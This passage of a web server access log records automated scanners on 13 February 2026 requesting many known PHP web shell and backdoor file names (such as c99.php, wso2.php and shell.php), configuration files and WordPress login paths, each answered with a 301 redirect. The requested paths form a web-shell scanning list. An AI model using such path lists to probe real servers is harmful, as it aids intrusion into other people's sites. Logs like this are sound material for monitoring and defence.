/wp-miiss.php.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:22 +0300] "GET /ho/wpup.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:24 +0300] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:49 +0300] "GET /apsarasarts/okk.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:54 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:56 +0300] "GET /wp-is.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:22:58 +0300] "GET /jmfi2.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:00 +0300] "GET //about/function.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:04 +0300] "GET /bnn_.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:07 +0300] "GET //wp-content/json.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:13 +0300] "GET /hzz.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:23:16 +0300] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:24:17 +0300] "GET //403.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:26:42 +0300] "GET /oivcl.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:26:45 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:26:51 +0300] "GET //wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:26:54 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 20.234.88.224 - - [13/Feb/2026:12:26:57 +0300] "GET //wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 125.94.144.102 - - [13/Feb/2026:13:26:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.61.162.185 - - [13/Feb/2026:13:37:20 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.164.197.209 - - [13/Feb/2026:14:15:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.203.180.35 - - [13/Feb/2026:15:05:02 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.157.170.13 - - [13/Feb/2026:15:10:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 217.217.253.74 - - [13/Feb/2026:16:00:28 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (WordPress CMS Scanner)" 172.190.142.176 - - [13/Feb/2026:17:07:38 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:09:03 +0300] "GET /fetch.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:09:23 +0300] "GET //ap.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:17 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:19 +0300] "GET /zfe.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:22 +0300] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:25 +0300] "GET /_profiler/phpinfo.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:29 +0300] "GET /contact-us.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:32 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:35 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:48 +0300] "GET /ract.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:52 +0300] "GET /city-ajax.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:56 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:58 +0300] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:01 +0300] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:03 +0300] "GET /sterJs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:07 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:13 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:16 +0300] "GET /wp-rss2.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:20 +0300] "GET /wp-rss.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:22 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:24 +0300] "GET /dr.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:26 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:29 +0300] "GET /am.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:31 +0300] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:34 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:36 +0300] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:39 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:42 +0300] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:45 +0300] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:47 +0300] "GET /rJs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:49 +0300] "GET /00:.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:51 +0300] "GET /at/name.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:53 +0300] "GET /ta.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:14:57 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:00 +0300] "GET /41.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:07:53 +0300] "GET /ph33w.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:56 +0300] "GET /ak.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:04 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:10 +0300] "GET /contact-demo.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:12 +0300] "GET /luuf.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:47 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:49 +0300] "GET /it/name.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:52 +0300] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:55 +0300] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:57 +0300] "GET /api.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:00 +0300] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:02 +0300] "GET /sql.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:04 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:07 +0300] "GET /revealability.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:10 +0300] "GET /us/confirm.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:12 +0300] "GET /wp-feed.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:14 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:17 +0300] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:19 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:22 +0300] "GET /soniau.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:24 +0300] "GET /fa.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:27 +0300] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:29 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:31 +0300] "GET /aa2.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:33 +0300] "GET /iwivi.php HTTP/1.1" 301 795 "-" "-" 129.150.36.137 - - [13/Feb/2026:17:56:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 129.150.36.137 - - [13/Feb/2026:17:56:30 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 129.150.36.137 - - [13/Feb/2026:17:56:31 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 115.45.43.75 - - [13/Feb/2026:17:07:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3455.42 Safari/537.36 SE 2.X MetaSr 1.0" 172.190.142.176 - - [13/Feb/2026:17:08:01 +0300] "GET /errw.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:04 +0300] "GET /assacc.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:07 +0300] "GET /Geforce.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:11 +0300] "GET /cs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:14 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:17 +0300] "GET /cv.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:21 +0300] "GET /ma.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:23 +0300] "GET /ole.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:26 +0300] "GET /x_3.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:30 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:32 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:38 +0300] "GET //mar.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:08:47 +0300] "GET //ellv3.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:04 +0300] "GET //ffd.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:33 +0300] "GET /100.kb.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:37 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:40 +0300] "GET //eetu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:18 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:18 +0300] "GET /op.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:21 +0300] "GET /bipas.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:25 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:29 +0300] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:32 +0300] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:38 +0300] "GET /wp-rdf.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:07:45 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:07:48 +0300] "GET /clasa99.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:09:10 +0300] "GET /bk.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:09:14 +0300] "GET //configuration.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:49 +0300] "GET /01.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:53 +0300] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:56 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:59 +0300] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:03 +0300] "GET /se/name.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:06 +0300] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:07 +0300] "GET /data.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:11 +0300] "GET /edit-css.php HTTP/1.1" 301 795 "-" "-" 129.150.36.137 - - [13/Feb/2026:17:56:44 +0300] "GET /register HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 129.150.36.137 - - [13/Feb/2026:17:56:50 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 172.190.142.176 - - [13/Feb/2026:17:09:30 +0300] "GET //f.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:15 +0300] "GET /zwq13.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:28 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:40 +0300] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:43 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:37 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:15:39 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:16:43 +0300] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 129.150.36.137 - - [13/Feb/2026:17:56:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 Safari/605.1.15" 172.190.142.176 - - [13/Feb/2026:17:09:41 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:09:45 +0300] "GET //zaa.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:27 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:30 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:32 +0300] "GET /elect.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:35 +0300] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:38 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:41 +0300] "GET /ver.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:44 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:46 +0300] "GET /index_w.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:49 +0300] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:17 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:20 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:40 +0300] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:43 +0300] "GET /root.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:46 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:49 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:53 +0300] "GET /ct.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:55 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:58 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:01 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:05 +0300] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:07 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:10 +0300] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:12 +0300] "GET /env.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:15 +0300] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:18 +0300] "GET /il.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:21 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:24 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:27 +0300] "GET /10.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:29 +0300] "GET /.tmb/LA.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:33 +0300] "GET /larva.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:13:35 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:54 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:57 +0300] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:12:00 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:09:54 +0300] "GET //mal.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:22 +0300] "GET /wqqs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:10:44 +0300] "GET /lang/en.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [13/Feb/2026:17:11:11 +0300] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 129.150.36.137 - - [13/Feb/2026:17:56:39 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 129.150.36.137 - - [13/Feb/2026:17:56:41 +0300] "GET /user/login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 Safari/605.1.15" 158.158.42.54 - - [13/Feb/2026:18:06:41 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:06:42 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:06:46 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:06:49 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:06:49 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:06:52 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:06:54 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:06:56 +0300] "GET /wp-k3w6g9s4h2.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:06:57 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:06:59 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:07:01 +0300] "GET /acfdr.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:07:04 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:07:07 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:07:07 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:07:09 +0300] "GET /ak.php/wp-admin/async-upload.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:07:12 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:07:14 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:07:14 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:07:20 +0300] "GET /a4.php/wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 34.29.93.74 - - [13/Feb/2026:18:04:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 158.158.42.54 - - [13/Feb/2026:18:07:26 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 158.158.42.54 - - [13/Feb/2026:18:07:28 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 34.29.93.74 - - [13/Feb/2026:19:01:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 85.198.110.45 - - [13/Feb/2026:18:41:47 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 69.171.231.5 - - [13/Feb/2026:19:37:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 69.171.231.7 - - [13/Feb/2026:19:37:57 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 43.153.7.191 - - [13/Feb/2026:21:00:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 167.99.189.126 - - [13/Feb/2026:21:28:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 167.99.189.126 - - [13/Feb/2026:21:28:56 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 43.135.183.82 - - [13/Feb/2026:23:18:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 134.209.160.128 - - [13/Feb/2026:23:18:11 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 20.89.56.154 - - [13/Feb/2026:23:36:46 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:50 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:43 +0300] "GET /aboutc.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:36:39 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:56 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:34:59 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:02 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:03 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:07 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:10 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:13 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:15 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:18 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:21 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [13/Feb/2026:23:35:24 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 